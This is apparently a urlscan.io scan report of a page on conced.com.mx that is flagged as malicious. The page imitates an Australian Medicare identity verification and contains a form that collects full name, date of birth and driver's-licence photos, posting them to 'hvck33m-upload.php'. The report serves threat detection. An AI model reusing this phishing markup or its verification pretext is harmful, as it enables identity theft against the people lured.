conced.com.mx Open in urlscan Pro
162.241.34.198  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST hvck33m-upload.php

<form id="forgotten-username-form" action="hvck33m-upload.php" method="post" enctype="multipart/form-data">
  <h2 id="bodytext" style="font-size: 25px; color: black;">Personal Information</h2>
  <p id="errortext" style="color: red; font-size: 13px; padding:1px;"></p>
  <div id="body1">
    <div class="input-group">
      <label for="fname">Full Name</label>
      <input id="fullname" name="fname" aria-required="true" type="text" value="" autocomplete="off" required="">
    </div>
    <div class="input-group">
      <label for="fname">Date of Birth</label>
      <input id="dob" name="dob" aria-required="true" type="date" value="" autocomplete="off" required="">
    </div>
    <br><br>
    <a class="button-main button" id="continuebutton" style="color: black; width: 100%; font-size: 15px; padding-top: 10px; background-color: #99e1f3;" href="javascript:move()">NEXT</a>
  </div>
  <div id="body2" style="display: none;">
    <hr>
    <div class="row py-4">
      <div class="col-lg-6 mx-auto">
        <!-- Upload image input-->
        <div class="input-group mb-3 px-2 py-2 rounded-pill bg-white shadow-sm">
          <div class="input-group-append">
            <label for="upload" class="btn btn-light m-0 rounded-pill px-4"> <i class="fa fa-cloud-upload mr-2 text-muted"></i><small class="text-uppercase font-weight-bold text-muted">Driver License Front</small></label>
          </div>
          <img style="float: right; text-align: right;" class="file-upload-image" width="50" src="dl.png" alt="your image">
          <input name="image" type="file" onchange="readURL(this);" class="form-control border-0">
        </div>
      </div>
    </div>
    <br>
    <hr>
    <div class="col-lg-6 mx-auto" style="margin-bottom: 20px;">
      <!-- Upload image input-->
      <div class="input-group mb-3 px-2 py-2 rounded-pill bg-white shadow-sm">
        <div class="input-group-append">
          <label for="upload" class="btn btn-light m-0 rounded-pill px-4"> <i class="fa fa-cloud-upload mr-2 text-muted"></i><small class="text-uppercase font-weight-bold text-muted">Driver License Back </small></label>
          <img style="float: right; text-align: right;" class="file-upload-image2" width="50" src="dl.png" alt="your image">
        </div>
        <input name="image2" type="file" onchange="readURL2(this);" class="form-control border-0">
      </div>
    </div>
    <br>
    <hr>
  </div>
  <div id="buttonall" class="button-container" style="display: none;">
    <button style="width: 100%;" type="submit" name="_eventId_submit" class="button-main button">VERIFY</button>
  </div>
</form>

Text Content

 


Home

You are expected to have the following prepared for the verfication.



 * Medicare Card
 * Drivers License



Continue to verification
0%


PERSONAL INFORMATION



Full Name
Date of Birth


NEXT

--------------------------------------------------------------------------------

Driver License Front


--------------------------------------------------------------------------------

Driver License Back


--------------------------------------------------------------------------------

VERIFY


FOOTER

 * Terms of use
 * Privacy and security
 * Copyright
 * Accessibility

We acknowledge the Traditional Custodians of the lands we live on. We pay our
respects to all Elders, past and present, of all Aboriginal and Torres Strait
Islander nations.